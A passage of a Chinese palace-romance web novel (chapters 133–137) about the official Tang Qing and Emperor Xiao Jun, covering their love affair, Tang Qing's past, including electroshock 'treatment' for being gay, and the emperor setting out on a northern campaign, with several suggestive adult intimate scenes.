面对同僚的关怀,唐青温声道:“我自有分寸,无须担心。” 这一日,他和萧隽的关系,正式被尚书台的同僚们知悉。 寇广陵与他商讨了一些新策,说完,忽然看着他,似乎有话想说。 唐青吹了吹茶水飘浮的热气:“大人可要与下官说什么?” 寇广陵摇摇头,纵有再多的话,总归都咽回了肚子。 皇上和唐青如何,非任何人能议的,但他私心希望唐青不要在这份关系中受伤。 * 唐青从尚书台下值,马车沿金水街返回府邸时,邺都的街头又飘起了雨。 今日他乏得早,毕竟身子久未欢/爱,又耗损精力理了一批卷宗,洗漱不久,便回房准备早点休息。 正待宽衣,门外响起一道低沉的嗓音。 “青儿。” 唐青侧首,连忙打开房门。 “陛下?” 他四下环望,庭院秋雨朦胧,风里带着寒意,当即把萧隽请进寝屋。 “天色不早,陛下怎么还过来?” 伴随话音的落下,他很快被拢入一个温暖健阔的怀抱。 萧隽解开披风,常服里透出一股温暖的气息,衣衫氲着沉香,将唐青从头到脚包拢。 萧隽俯身吻上他的发际:“想你。” “昨夜孤与青儿……今日怎舍得让你独自一人?” 顺道再给唐青上药。 * 灯火蒙蒙,温暖舒适的床榻上,唐青趴在萧隽怀里,容着对方用掌心搓热药膏,再均匀地涂抹他的肌肤。 只此片刻,二人都相继出了点汗。 萧隽吻着他细细的汗珠,本就有些流连的指腹,带着还未擦净的药脂,浅浅探入少许。 唐青轻吟,萧隽呼吸已有些沉促,旋即抬手。 “……孤莽撞了。” 开口时握着他的腰,沉沉叹道:“孤怎么这般想你。” "陛下……" 唐青欲言又止,眸子里流淌着细细绵绵的水光。 他静静伏在拥揽自己的怀抱里,本来想等萧隽平静下来,可未过多时,就因倦意先入了梦。 萧隽注视唐青,沿着他的耳廓亲吻。 夜色无边,纵使身下煎熬得厉害,却只抱紧了人没有继续,也只有唐青才能让他甘愿受此甜蜜的煎熬。 萧隽掌心贴着怀里美人最柔软的地方,生了茧子的指腹微微刮蹭。 如雪丘般绵润起伏的肌肤贴着手掌,以此稍作慰藉。 第133章 第 133 章 气候愈冷, 转眼间年关将至,不论萧隽还是尚书台处,需要处理的国事政务渐渐多了起来。 尚书台上下忙得焦头烂额, 偏偏还有些夹在其中顺风吹火的谏贴。 唐青与萧隽在一起后, 不消两个多月, 朝堂上下俱已听闻此事。 除了国家要政, 劝谏皇帝的折子也如雪花一样往上呈, 眼见皇帝劝不动, 转来规劝唐青。 送到尚书台的奏折已经过整理, 奈何奏本实在太多,总有几本漏网之鱼。 唐青看着关于他的奏本,只无声弯了弯唇角, 未做处置。 寇广陵忙里偷闲,抬了头往他的书案瞟来一眼,道:“不必理会。” 唐青品了几口清茗,笑道:“无妨, 如今诸位忙碌, 这些本子看着倒还解闷。” 苏少游怀里抱来一撂刚理好的折子上来, 看着和尚书令谈笑风生的唐青,努努嘴,想说的话又咽回肚子。 他下了二楼,碰到李秀莽,可惜地叹了口气。 李秀莽问:“何事叹气。” 苏少游摇头,心忖:若侍郎与秀莽同僚在一起,也无须站在风口浪尖上, 成为众位官员以笔诛伐的目标。 唐青倒没想那么多,从前他早就有此顾虑, 如今既然已经和萧隽定情,那么该面对的他决计不会回避。 有此心理建设,自然无畏旁人嘴上如何说。 过了午后,唐青下值。 他离开尚书台,行过御道,忽闻远处有人唤他。 回眸望去,一名绿衣官服青年朝他拱手行礼,正是李问。 唐青原先修撰藏书阁旧籍时,教过此人现代计数。 唐青颔首,李问得了示意,小跑着朝他靠近。 “下官见过大人。” 唐青:“何事?” 李问挠挠后脑,不敢直视,低头赧道:“回大人,小人这半年都在潜心钻研您教过的计算方法,近日感触颇深,也不知可有进步,还望大人指教一二。” 又急忙补充道:“如若冒犯大人,还请责罚。” 唐青官居二品,只为皇上办事,又与皇上传出…… 李问虽不掺和宫里的流言,可听得多了,自然潜意识站了队。 他相信唐青,而且如若那些传言属真,也坚信唐青的立场和选择。 脑子刚闪过念头,李问下意识就把心里话说了出来。 “大人,下官相信您。” 唐青失笑:“不是要与我探讨计算,择个地方,容我考考你半年多学习成果如何。” 李问惊喜道:“多谢大人!” 于是唐青带着李问去了附近的一处观景亭,二人相对坐下,看李问稍显局促,他温和一笑:“无须紧张。” 李问嘿嘿笑了笑,稍一斟酌,把过去半年学习数字计算的感悟详细道出。 唐青耐心倾听,拿过李问递来的纸和笔,现场考了他几道计算题。 入了冬,时节刮起北风,周围值守的侍卫上前,询问唐青可否有需要帮忙的地方,他温声婉拒。 待李问把题目解完,他逐一将对方的答题卷面看了。 李问局促地搓了搓手,唐青看完卷子后,抬眸打量,最后笑着赞赏:“都答对了。” 他过去所教,多为运算概念和口诀,李问花了时间把内容吃透,看他写的本子,单独列出了许多计算的数目。 譬如生活工作遇到需要计算的地方,李问都先以文字举列,再佐以数字运算,将结果算出。 唐青的思绪再次回到过去和萧隽的一次谈话里,当时就萌生了把数字计算的相关教学编纂成书,从而改革大邺教育和选拔制度。 李问安静等候,见唐青垂眸不语,有些不安。 “大人,可是小人做得不好?” 唐青回神,道:“你做得很好,勤奋好学,还有天赋,若以后我有事想寻你帮忙,或许要花很多年去做,你可愿意?” 李问诧异,连忙拱手行礼:“大人所托,小人定当竭力照办。” 唐青笑了笑,还待开口,周围值守的侍卫道:“参见皇上。” 闻声,便看见萧隽过来了。 他起身迎上前:“微臣见过陛下。” 李问紧随在后,跪地磕头。 萧隽屏退众人,四周清净了,牵起唐青的手,拢在掌心捂了捂。 “今后出行,带个手炉子揣着。” 唐青笑着点头:“好。” 他主动解释:“适才有点事,耽搁了时间。” 本来约好午后去颐心殿,遇到李问,便误了会儿时辰。 萧隽看着他:“孤来接你。” 握住了他的手便没再放,袖子底下五指相扣,徐徐穿过御道。 还没走到颐心殿,唐青忽然抬头。 举目眺望,只见灰蒙蒙的云层里坠落许多零星白点,不由轻轻挠了一记萧隽的掌心。 “陛下,下雪了。” 今年的第一场雪,悄无声息地降落在王城每一处。 他望着雪,萧隽看着他,应了声“嗯”。 唐青侧眸,好笑道:“看雪,我又不是雪。” 萧隽抬手,拂下落在他发梢的雪沫。 “青儿若是喜欢,孤陪你到九霄阁看雪。” 九霄阁是皇宫乃至整个邺都城里最高的地方,若从上面赏雪,别有一番触动。 唐青道:“今日不是时候,先回殿里吧。” 萧隽还有政务忙,他下了值便过来陪同,有能帮忙的地方也都做了。 颐心殿内,地龙烧着,此处都暖洋洋的。 唐青本来想单独坐在案前,不想被萧隽揽至御案上。 萧隽道:“就在孤身边。” 唐青笑着开口:“霸道。” 话是如此,却没挣扎。 萧隽揽着他的腰,或牵起他的一只手置在膝头,二人安静地相处,理着朝政,很快就迎来了夜色。 * 朔风凛冽,唐青系着披好的狐裘,本想在宫门落钥前回府,没成想午后飘起来的毛毛小雪,成了纷飞大雪。 颐心殿前面的台阶积了一地白,北风卷着雪花迎面扑到脸上,唐青打了个喷嚏,下一刻,萧隽将他打横抱起,径直往回走,入了寝殿。 唐青刚戴好的绒帽落下,满头青丝垂在半空摇曳。 “陛下……”唐青晃了晃双腿,“臣自己走。” 萧隽:“这会儿不便回去,留在宫里。” 说着,注视他的眼眸:“青儿,留在孤身边,可好?” 唐青微微点头,萧隽道:“孤遣人备了膳食,先用膳。” 待用完晚膳,唐青到汤池里沐浴。 雾气缭绕,下水不久,温热的水流使得他昏昏欲睡。 他眼眸轻阖,背后忽然一暖,一具身躯靠近了,借着水的浮力将他轻易抱入怀里。 唐青诧异,掀开水汽蕴湿的桃花眸。 “陛下,你……” 萧隽吻了吻他的耳廓:“一起洗。” 边说着,掌心微动,叫唐青不禁蜷起腿脚。 “子深,不是洗澡么?” 萧隽以舌扫过他的颈,根,随后把他翻了个角度,面对面抱在身前。 唐青不得不抚着对方肩头。 萧隽抱着他,微微托高了。 目光接触,唐青被那双深流涌动的眼睛吸引,主动低下脸,把萧隽的湿发拨到背后,露出优越性.感的额头。 唐青摸了摸萧隽的眉峰,唇慢慢碰着对方,很快被萧隽以退为进。 二人喘着气,唐青本来踩着萧隽的脚背,忽然一软,找不到支撑点。 再上汤池时,唐青依然被萧隽抱着,从雪背落下的青丝飘荡得厉害。 第134章 第 134 章 年关时节, 除了宫宴,最热闹的,当属帝王华筵。 萧隽的生辰, 唐青往年只随朝堂百官向对方祝贺, 讲究官场氛围居多。 如今二人关系不同, 这个生辰宴, 对唐青而言, 寓意自然也不同。 他下了朝, 李显义照常接他上颐心殿。 将近正午, 萧隽理了政务回来,唐青本来在案前等待,没成想又伏在上边睡了起来。 殿里烧着地龙, 暖气充足,唐青伏在案前的脸颊犹如洇了层胭脂。 萧隽微微俯身,看他着迷似的,没出动静, 而是把人轻轻地往御榻方向抱去。 沾了龙床, 唐青自发背过身, 选个了舒服的位置继续睡。见状,萧隽淡色的瞳孔轻微晃动,带着笑意,将外衣宽去后在一侧躺下,把唐青拢入怀里。 青天白日睡觉,萧隽还是头一遭。 奈何美人在榻,气氛太好, 他舍不得惊扰了唐青的美梦,便陪着对方一起。 李显义带着宫人传送午膳, 见此情形,又连忙遣人悄悄退出殿门,贴心地将宫门合起。 * 觉至午后,唐青睁眼时,已是一个时辰以后。 他幽幽眨着朦胧的眼眸,视线越过帷幔和屏风,萧隽的身影就在案前,似在批阅折子。 甫一动静,萧隽闻声侧首,看着他:“醒了?” 唐青起了身,同时也落进萧隽的胸膛。 他自然而然地枕着对方的肩头:“怎么不叫醒我” 萧隽俯首,薄唇印在他发际吻了吻:“青儿该多加休息,孤怎舍得扰你。” 唐青合起眸子,感受着轻柔炙热的吻从发际沿着眉心触碰,再从鼻尖一点一点滑下,含了含他的上唇,辗至下唇。 沉香的气息缓慢渗入肺腑,唐青仰脸,鼻翼翕动。他的指尖沿着萧隽的脖颈和耳根轻抚,似将萧隽耳根都摸红了,继而搂了上去。 缠/绵的一吻结束,唐青换着气息,喝了两盏递到唇边的茶水。 他摇摇头:“不喝了。” 萧隽放下瓷盏,唐青推了对方一把:“陛下可还要处理政事?” 又道:“我陪你。” 李显义亲自送了午膳进来,唐青用过后,稍作洗漱,便在御前帮萧隽梳理奏折,间或商议一些国政策略。 他忽然问:“陛下生辰,想要我送什么礼?” 萧隽侧目,唐青弯起唇畔:“总不能和往年那般。” 萧隽挑眉:“往年如何?” 唐青倒也实诚,笑意渐深,坦白开口道:“往年只想着与百官们一起应付过去,除了那副象棋,旁的并不出彩。” 萧隽好气又无奈,将他的手置在膝前捏了捏,又怜爱地握住,道:“只要是青儿送的,孤都喜欢。” 如此一说,倒让唐青不好意思起来。 可萧隽贵为一国之君,天下都是他的,实在想不出送什么礼物。 萧隽把他圈在怀里,又是一记啄吻。 “只要青儿陪在孤身旁,就是最好的贺礼。” 唐青冥思苦想,最后打算亲自给萧隽准备一份长寿面。 ** 他在现代偶尔下厨,来到古代,很少有机会再进厨房。 这日趁着沐休,唐青着了一袭干练常服,穿过主院,到了庖房,向准备膳食的师傅请教长寿面的做法。 兰香杵在一旁,她干看着着急,想从唐青手里把活接过。 “先生,外头那么冷,这些水也是凉的,您让我将菜洗了切了罢。” 唐青笑着拦去她的动作:“若你都抢着做了,我还做什么?” 又道:“用筷子搅合搅合面,洒点酱料?” 兰香:“……也不是不行。” 唐青:“陛下生辰,我没什么可送他的,这份面,还是亲手准备吧。” 兰香:“万一着凉呐。” 唐青指了指灶头底下正在烧的火炭,厨房里最不缺火,不会着凉。 * 萧隽生辰当天,邺都大雪。 今夜宫内设华宴,唐青着了一袭银杏色云纹华服,他立于阶前,望着皑皑白雪覆盖的王都,心里喜悦,乘车去了皇宫赴宴。 宫宴一如往年走了开场和过程,唐青坐在席下,隔空与金銮座上的萧隽对视。 帝王周身无王后妃嫔,目光倒是几次落在同一个方向。 唐青敛眸,举止做派端正温和。 他与萧隽虽有更亲密的关系往来,但在这种场合,于旁人眼底,还是十分含蓄的,把自己摆在了君臣之位对待。 原本想寻机开口的老官员,看着这么一份君臣深厚的情谊,摇摇头,唉声叹气地饮酒作罢。 离开宴席后,唐青独自来到颐心殿等待,只听珠帘轻响,萧隽自后环着他,怀里犹带轻微的雪梅气息。 “青儿可等久了?” 萧隽边说,边侧首低头,在他脸侧吻了吻。 唐青眉眼含笑:“没等多时,陛下有没有喝醉?” 萧隽:“在宴上千杯不倒,看到你只觉醉了。” 唐青失笑:“陛下,莫要油嘴滑舌。” 他怕对方喝醉,想遣宫人送些醒酒汤来,萧隽却把人都打发干净,拥着他,与他静静眺望窗外的红梅白雪。 萧隽蹭了蹭他的脸颊,沉声喟叹:“孤喜欢这个生辰。” 唐青眸子一弯:“我还有贺礼送给你。” 他缓缓扬起唇角:“子深,随我出宫吧。” 李显义送醒酒汤入殿时,只见他们陛下让侍郎牵着,似要出宫。 他收起托盘上的醒酒汤,默默退至门后。 * 玉河桥上白雪纷飞,唐青揭开帘子打量,街道上都是积雪,鲜少行人。 只过须臾,腕子很快让一只宽大的掌心握住,顺道再把车帘落下。 萧隽道:“莫要受凉了。” 唐青两只手都叫萧隽握在掌心,很顺从地让对方握着。 回到府邸时,他领着萧隽去往庖房。 兰香一早就备好食材,府内下人俱已屏退,周围只余他们二人。 唐青让萧隽在食桌前坐下等候,继而扎起袖摆,来到灶头前,将洗干净的菜用刀切去。 萧隽跟来,长眉跳了跳,握上他的手制止:“当心。” 唐青:“陛下等着吧。” 萧隽打量一旁的面,唐青轻声道:“陛下坐拥山河,我没什么珍贵的贺礼相送,只能想到这碗面。” 又道:“先太后去得早 ,尝不到她做的,今后尝一尝我做的,可好?” 萧隽幼年遭受冷落,未作为质子被送往胡族前,只吃过几次先太后做的长寿面,至此以后便是母子二人的一生,天人永隔。 于萧隽而言,这碗长寿面可谓意义非凡。 唐青一双桃花眸流露着真挚,萧隽目光有些湿润,逐渐松开桎住他的掌心。 “青儿,你……” 唐青浅笑,睨了睨食桌:“那儿等着,莫要妨碍我。” 萧隽无奈,眼中却俱是笑意。 * 毕竟花沐休的时间学了一日,唐青很快就把做好的长寿面送到桌上。 汤碗源源不断飘着热气,他吹了吹上面的葱花,把筷子递给对方。 萧隽尝了几口,温柔地望着唐青的眉眼:“味道很好。” 唐青笑道:“那就请陛下吃完,一点汤都不能剩。” 萧隽应允,忽然问:“青儿给孤贺生辰,可青儿的生辰是几时?” 鱼符上的生日是假的,唐青从来没有提过。 唐青一忖:“我不过生日。” 萧隽:“为何?” 见唐青垂眸,萧隽握紧他的手:“同孤说说,可好?” 唐青放空思绪,半晌才道:“没什么可说的。” “我父母的婚姻不是建立在感情上的,他们聚少离多,生了我以后,感情非但没有培养起来,还因为我的“病”,把关系闹得越来越僵,同在一个屋檐下,他们时时争吵,无休无止。” 他叹气:“最后婚姻破裂,各自分开,也各自有了新的家庭和子女,我只是他们生活中一次痛苦煎熬的印记,无法磨灭,只能远离与相忘。” 他的到来没有给他们带来喜悦,是他们痛苦和纷争的升级,他是不被欢迎的,所以从来不过生日。 萧隽听完,听着二人抛弃唐青已然心火骤起,可再往后听,却有些慌神,眉毛一紧:“病?” 唐青瞥见萧隽神情严肃,笑道:“都是过去的事了。” 萧隽:“当真治好了,如何医治?不若让宫里的御医再替你仔细检查。” 唐青想起过去如影随形的高压监视,想起那些穿过身体的电击治疗,时隔十多年再回忆,有种如梦似幻的错乱感。 他摇摇头,淡笑不语。 萧隽:“是……什么病?” 唐青:“……” 萧隽看着他:“青儿?” 唐青笑道:“喜欢同性不是病。” 萧隽目光一变,唐青反握对方的手掌,拍了拍,说道:“都过去了。” 萧隽神色凛然:“孤即是青儿的依靠,亦是亲人。” “他们不要你,孤要你。只要孤在,凡我大邺疆土,都是你的家。” 第135章 第 135 章 永朔九年夏, 邺都开了满城的凌霄花,绚烂盛火。 天未亮,颐心殿一派悄寂, 宫人们备好了盥洗用具, 此时静静候在殿门外。 隔着厚沉的宫门, 寝殿内沉香氲绕, 华美的毡毯上, 摆置了两双锦靴。 明黄色的御榻里, 薄褥内探出一只雪白修长的胳膊, 往后推了推,哑声道:“热……” 抵在背后的身躯拥他拥得很是紧密,被他一推, 纹丝不动,反而还缠了上来,顺着他的柔软和潮湿,轻轻滑入。 唐青蹙眉, 细长的手指抓着枕面, 如云青丝铺散, 额际沁出如珠的薄汗。 他隐忍着轻吟,顷刻后眸里渍出些水光。 萧隽拥着他,只觉怀里的人馥郁芬甜,不禁贴在他颈后吻了吻,极近温柔。 停了会儿,继而低声问:“青儿可好?” 唐青捏了一把握在腰上的手,嗓子哑得厉害:“我都这样了, 你还问好不好……” 又道:“若是不好,你会停么?” 萧隽低笑, 炙热的吻密集地落在他脸颊,缱绻地搓磨那两片如花殷红的唇瓣。 “孤会改进,让青儿觉得哪里都好。” 唐青濡湿的红唇不停启合,想瞪对方一眼,无奈使不出一丝力气。 天色明亮,寝殿外依然悄静。 过了片刻,萧隽命人送些温水进来,替唐青整理干净了,更是亲手为他穿衣束发。 唐青半阖的眼尾泛着桃红一样的色彩,慵懒地靠在萧隽腰腹前,没忍住又往这人身上掐了一把,不轻不重的。 萧隽捉着他的手,亲吻葱白的指尖:“莫要抓疼了。” 唐青一早就被萧隽弄得没什么力气,今日无朝会,萧隽与他用了早膳,便去处理政事。 ** 今年南方雨水颇密,多个郡县水果长势丰好,稻田也泛着橙黄,若接下去两个月风调雨顺,今年仍是个丰收年。 据呈上来的奏折来看,涿州以南郡为中心的一带地区,水稻产生较前几年增产了几十倍不止,完全得益于水车的普遍推广运用。 萧隽把这件事告诉唐青时,他一忖,道:“名章做到了他以前的承诺。” 提起梁名章,唐青的记忆不由飘向久远,举着茶杯微微出神。 他兀自喃喃:“不知他们现今如何,两个孩子今年都过了十岁吧。” 自离开南郡,他与梁名章书信互通,以此联系方式,得知他们的生活境况。 知晓挂念的友人都在好好生活,欣慰之余,思念的意味倒是更重了。 从前一心自保,又连续忙了几年,而今稳居邺都,没前些年辗转奔劳,慢慢得了闲,难免生出几分思念。 他发自内心感慨,萧隽稍有吃味,却并未制止。 萧隽心里明白,唐青举目无亲地来到大邺,梁王府于他而言,是无可取代的存在。 可这六年,唐青没与那里的人见过一面…… 茶盏已空,唐青自己续了杯,正要给萧隽续上,见他面色沉静,便轻唤:“子深?” 萧隽深深注视他,继而牵起,朝书案走去。 唐青顺从地跟着,还替他研墨。 萧隽当即书拟圣旨,是关于南郡梁王府的。 唐青定睛细看,眸光渐渐动容。 “子深,你……” 萧隽抚着他的手背:道:“大邺是青儿的家,断然没有不见他们的道理。” 说罢,让李显义把圣旨传到南郡。 萧隽解了梁名章不得踏足邺都的禁令,对梁王府这些年在南郡,甚至带动涿州各郡的举动,表示了嘉奖。 萧隽并非一叶障目的人,有罪惩处,有功论赏。梁名章过去无意造铸的欺君罪行,已该抵消了。 他问:“青儿可怪我?” 唐青看着萧隽的眼睛,过了须臾,轻轻摇头。 “我不是这个时代的人,有些思维和想法注定和你不同。皇帝掌管天下,言行举措自有考量,我改变不了,也没想着凭一己之力来扭转这个时代运行的规律。” 他做不到,也办不了,只能尽力。 成功固然是好,失败了也在情理之中,连当初他为保全“自我”时,不也带了孤注一掷的心理。 而且这些年他和梁名章保持定期的书信来往,若萧隽当真有心断了他们,何必给他们至今联系的机会。 唐青微微一笑,道:“陛下并非想象中的冷硬,若不触及国政,凡事都给人留了回转的余地。” 这些年大邺逐渐稳定,经济升涨,百姓逐渐安康。 朝堂的一群老头愈发得闲,没事就上奏,奏的目标正是萧隽。 这帮老臣规劝他早日立后宫,更甚下了朝,虽未得召见,兀自跑到颐心殿哭得一把鼻涕一把泪,搅得诸多百官私下里啼叫皆非。 饶是如此,萧隽也只令这些顽固老臣回府面壁思过一个月,无要事不得入宫。 萧隽与唐青交往两年,内心都软和了不少,若照以往手段,可得给这帮老臣上一顿棍子,叫他们收收瞎操劳的心,最好在府里躺上两三个月的,省得耳边不清净。 一些顽固老臣派看不惯唐青,也有默许了唐青身份的,甚至想把他往更高的位置抬。 唐青和萧隽愈发亲密,且身为朝中能臣,若是登上君后一位…… 他与皇帝掌管山河,梳理朝政,整顿后宫,委实绰绰有余,再合适不过。 * 八月中旬,唐青和萧隽沿着王城闲游,赏了一日的凌霄花。 他们在茶楼休息,听到外来贸易的商人说起胡族入犯北境的杂闻。 翌日朝会,接到冀州来报。 密报上说眼下临秋,今年胡族多地遭旱,颗粒无收,多股游军于北地边境军镇多处挑衅,欲劫掠粮食物资。 萧亭已特调镇压边关的将领迎战驱逐,北境打了好几日,消息才传到王城里。 大邺这些年注重发展外交,大国的恩威礼仪声势浩大,多个邻国和外邦无不示好。 胡族却不太安生,偶尔挑衅,又沉寂般退至境外,今年遭遇旱情,南下的次数频发起来。 消息一出,朝堂上无论文臣还是武将,少了平日里互相喷口水的场面,一致对外,俱震声斥责胡族蛮夷,鄙其宵小所为。 素日里本就能言善道的文官更是滔滔不绝分析了一番,主张趁今年入秋之际,发兵征讨胡族! 武将摩拳擦掌,少有地认同。他们想打仗,遵循国策休养生息五六年,都快把一双铁拳养成绣花拳头了。 如今大邺库藏充足,有粮有马,军队苦训几年,这仗合该打,就像两年前把突桀灭了,收归为大邺疆土一样。 周围哪个邻国外邦挑衅,胆敢不服的,就该用铁拳把他们打得服气! 唐青眉心一跳,似心有灵犀,与萧隽对视了一眼。 萧隽当日择官员发布讨胡檄文。 官员罗列胡族这些年对大邺挑衅入犯所为,举例完了还不够说的,差点没把当今皇帝幼时被押送胡族为质的事迹也写了进去。 接到皇上冷淡的目光,官员手一抖,赶忙把檄文呈上。 字里行间堆积的旧怨,小到胡族人踩了冀州边境地界的“仇”都算上了,巴不得把胡族立刻踏平了才好。 檄文一出,征讨胡族已经成为板上钉钉的事,萧隽还亲自宣告了一件事。 此行北上,由他亲自领兵。 唐青抬眸,看清了萧隽回望的目光。 那双淡色的瞳孔暗流深涌,有旧仇清算,还有勃.发的野心。 萧隽从始至终就有着征降外邦,一统大邺,扩充疆土的雄图抱负,唐青安静地与其对视。 这日耽误了些时辰下朝,唐青一如往日来到颐心殿。 萧隽正欲揽上他,被他避开了。 萧隽:“青儿” 良久,唐青回眸,避开萧隽直视的目光,手指径直没入玄色的衣襟内。 萧隽没动,任由唐青往他肩背摸索遍布的旧伤。 “大邺能力出众的武将不在少数,陛下定要亲自征降胡族么?” 唐青手心贴着那些陈伤留下的痕迹,他知萧隽的抱负,也能理解。 作为一个帝王,萧隽有此心志,其政治目光和作战手段无可挑剔,但听他此次要御驾亲征,唐青确是不舍的。 他脸颊一偏,靠在萧隽的颈边。 萧隽顿了顿,吻上他光洁的额头。 “孤会平安归来。” 他柔声解释:“胡族是孤前生的困囚之地,孤想亲自打破它。” 唐青闷闷:“嗯……” 萧隽把他的手从衣襟里抽出,怜惜地逐根吻过。 唐青蜷起手指,萧隽笑道:“孤在前方,你在王城,为孤守着这里的安宁可好?” 唐青抽回被吻得有些潮湿的手指,指尖泛着红润,无奈道:“我能说不好么?” 话音刚落,整个人却被一双有力的臂膀抱起。 龙榻一晃,唐青发丝落了满枕。 他推了推萧隽,萧隽锢着他的手腕压在发顶上,目光灼出热烈。 “征胡择秋启程,在此之前,青儿还需好好犒劳孤,为孤震震士气可好?” 唐青软下身,萧隽知他心软,更是爱怜地亲着他的眼睫,耐心安抚。 就着昨天夜里残留的软润,慢慢滑入。 第136章 第 136 章 临至孟秋, 亦是分别。 大邺虽推行了几年的休息之策,但邺朝历代以来重武强兵,根基在此, 军队的血气没有丝毫磨平。 征讨胡族的檄文一出, 邺军秣马厉兵, 只待天子一声令下, 即刻赴往北境之外, 剿覆胡人, 扬大邺国威。 王城近日热闹, 百姓们议论得最多的,即是天子御驾亲征,进剿胡人一事。 凡大街小巷, 茶寮摊舍,农地耕田,就连路牙旁的树墩旁,都聚了三三两两的百姓闲论, 莫说市井街头, 皇宫里也时常有些宫人私下窃语。 外头都在说, 兰香却不许府邸的几个下人说,还细心地挨个交代了一遍,让他们想说等睡觉时再悄悄说去。 皇上将要启程北上,兰香望着书房方向,叹了口气。 她家先生一如素日,端地似那皎月清风,从容温和。 可兰香看出来先生有些心不在焉, 几次手上的茶盏都凉了,也没碰那珍贵的茶水一口。 能叫她家先生这般失常的, 只怕就属近日里人人都挂在嘴上议论的事情了。 * 唐青提笔蘸墨,几个字写写停停,连临字的闲思都没有。 他饮了口清茶,正欲起身,只听兰香来报:“先生,李常侍来了。” 唐青走到前厅,看见李显义,便问:“陛下要见我?” 李显义:“还请侍郎准备准备。” 唐青应下,又吩咐兰香帮他收拾几件东西。 他打算在宫里多留几日,等送了萧隽离开,再回府不迟。 萧隽离都,自有很多事宜需要交代,连着几日都在轩德殿开会,唐青并未扰他。 入了宫,刚进颐心殿,萧隽已换下朝服,着了身玄色常服,见他来了,长眉轻挑,自然地握上他的手腕,再将他圈入怀里。 唐青顺从地坐在萧隽腿上,偏过脸问:“忙完了?” 萧隽拨着他颈边的发丝,在如玉的耳垂上刮了刮:“都交代下去了,孤出京以后,朝内便交由周相主持,你和寇广陵辅政。” 萧隽舍不得让唐青太过操劳,但唐青有能力,又是足以信任托付的人,考量之后,虽然不舍,却不可能让他闲完全着。 一味的庇护,怕会使得唐青徒增困扰。 唐青点点头:“你就放心吧,我会替你镇守后方。” 话音方落,又商量着道:“若有条件,等时机适当了,务必给我来信。” 萧隽沉声笑了笑,欣然允诺。 又道:“青儿也要给孤书信。” 若过程顺利,秋季交战,最快入冬时就能剿覆胡人。 * 往后几日,唐青留在颐心殿,白日与萧隽理政,闲下来了,二人都默契地往龙榻的方向靠,衣襟尚尚不及宽退,发丝便缠在了一起。 唐青平日内敛,鲜少有如此热烈的时候,他这般纠缠,直叫萧隽舍不得退开。 褥边一片湿,萧隽不断亲吻他绯红的眼尾。 待唐青缓过气,他们依旧亲密相连。 唐青轻微蹙着晕红的眉心:“陛下……” 嗓子已是哑得不行。 萧隽长臂一横,取了盏兑了蜂蜜的水喂至他唇边,待唐青饮完,继而俯身吻去那双唇畔边的水渍, 感受着在耳廓软绵绵轻抚的指尖,萧隽汲取着馥郁柔软的香气,高挺的鼻峰蹭着嗅着,汗珠滚滚。 唐青仰起泛红的颈,更是给他行了方便。 萧隽情不自禁地喟叹:“青儿真好……” 唐青捂上他的唇,萧隽眉眼落下密汗,带着笑意拥紧他,又再度往里送了送。 * 五日后,秋风卷过兖州,窗外飘入几片泛黄的叶子。 唐庆幽幽眨眼,眸光一晃,凝着毡毯上的几片树叶,盯着叶子的脉络出神。 他忽然想起什么,朝四周张望,只觉静得慌。 甫一起身,险些栽倒回龙榻。 宫人闻讯入殿:“大人可有吩咐?” 唐青:“陛下呢?” 宫人道:“皇上今日带军北上,这会儿该要……” 不等宫人说完,唐青随手披了件雪青色的外衫,匆忙朝殿外赶。 昨夜又是一番纠缠,他累极,后半夜睡得昏沉。 萧隽许是为了不扰他,这才没有将他唤起。 * 秋日天光透过云影,琉璃瓦折出暖融而古韵的光彩。 一袭雪青色的身影自颐心殿出现,如蹁跹飞舞的蝶羽越过重重宫廊。 唐青最终还是赶上了。 他停在乌木回廊的转角后,喘着气喊道:“陛下——” 束高冠,着了紫金胄甲萧隽侧首,那袭带着香气的雪青身影,犹如轻羽扑了满怀。 他收起臂膀拢起满怀柔软的暖香:“青儿?” 远处号角传响,唐青抬起手指,沿萧隽俯低的眉眼触碰。 该说的都说过了,唐青轻叹。 “我就送陛下到这里,要平安回来。” 萧隽深深注视他,扣起他的下巴,印下一吻。 “孤答应你。” 唐青勾了勾唇角,阖起眼眸感受这个稍触即分的吻。 临别之际,他往萧隽手里塞了道平安符,而后静静地立在宫廊前,目送对方越走越远。 第137章 第 137 章 十月秋, 沐休日唐青沿着邺都周围的田庄逛了一圈,午后回了府邸。 这两个月他绝大部分时间都在宫内,到了宫门落钥的时辰才打道回府。 自北境传回的消息第一时间送往宫里, 他留候的时间长, 方便最快接到战报。 今日甫一下车, 值守的门房连忙迎下台阶。 见他面带倦色, 门房小心翼翼地伸了手, 欲搀扶一把。 唐青示意自己无妨, 走进院子, 瞧见兰香正搭了个梯子站在石榴树旁,用木杆子和剪刀采摘结出的果实。 他伫立在一旁,嗓音温和轻, 叮嘱道:“当心别摔着。” 兰香嘴上笑吟吟的,又是剪下一个硕大的石榴,捧在手上展示给唐青看。 今年入夏,石榴花开得比往年都要红火繁盛, 入秋后结出的石榴质量更是喜人。 唐青实在不放心, 道:“兰香, 你下来吧,让其他人上去。” 兰香表示没事,很快把采了一竹篮的石榴带下。 她先掰了一块放进嘴里,神情欣喜:“很甜。” 又道: “一会儿我给先生剥一碗尝尝,还能拿来做成饮子喝。” 唐青道:“辛苦你了。” 兰香摇头。 府内她管事,许多事只需盯着不需动手,这才闲着来摘果, 素日里变着法研究吃食,想让唐青多吃点东西。 她细细端量, 道:“先生近些时候都没有好好休息,瘦了点。” 唐青往脸颊抚了几记,回到寝屋,对着铜镜兀自瞧了片刻,眼下浮出少许青色。 兰香很快跟来,端了托盘,上面是一叠藕糕和一碗桂花凉羹。 秋日易燥,唐青又心有牵绊,待政事处理完毕,人极易疲倦。每每夜里睡下了,却时常反复醒来,觉浅得很,如此不过一个月,人就消瘦了。 他慢慢咬着冰瓷碟里的藕糕,品了几口凉羹,又很快没了胃口。 见状,兰香暗自叹气,把剩了大半的藕糕收拾好,复又端了碗弄好的石榴送来。 一粒粒石榴饱满,艳红剔透,唐青用木勺舀了一口,清甜的汁水瞬间溢满口腔,沁入肺腑。 唐青陆续挖了几勺,不知不觉间,便把一碗石榴吃完了。 兰香喜笑颜开,道:“先生脾胃弱,好吃也不能多尝了,明日再给您剥。” 唐青好笑不已:“说得我像是个贪嘴的人。” 兰香嘟囔:“若先生贪嘴就好了,能吃是福,吃胖了就不容易生病了!” 唐青与她闲聊几句,注意力好歹暂时从北上进剿胡人一事转移。 * 深夜,唐青再度因梦惊醒。 过了子时很是凉快,可他心里滞了一股燥火,一场梦境更是叫他冷汗浸了里衣。 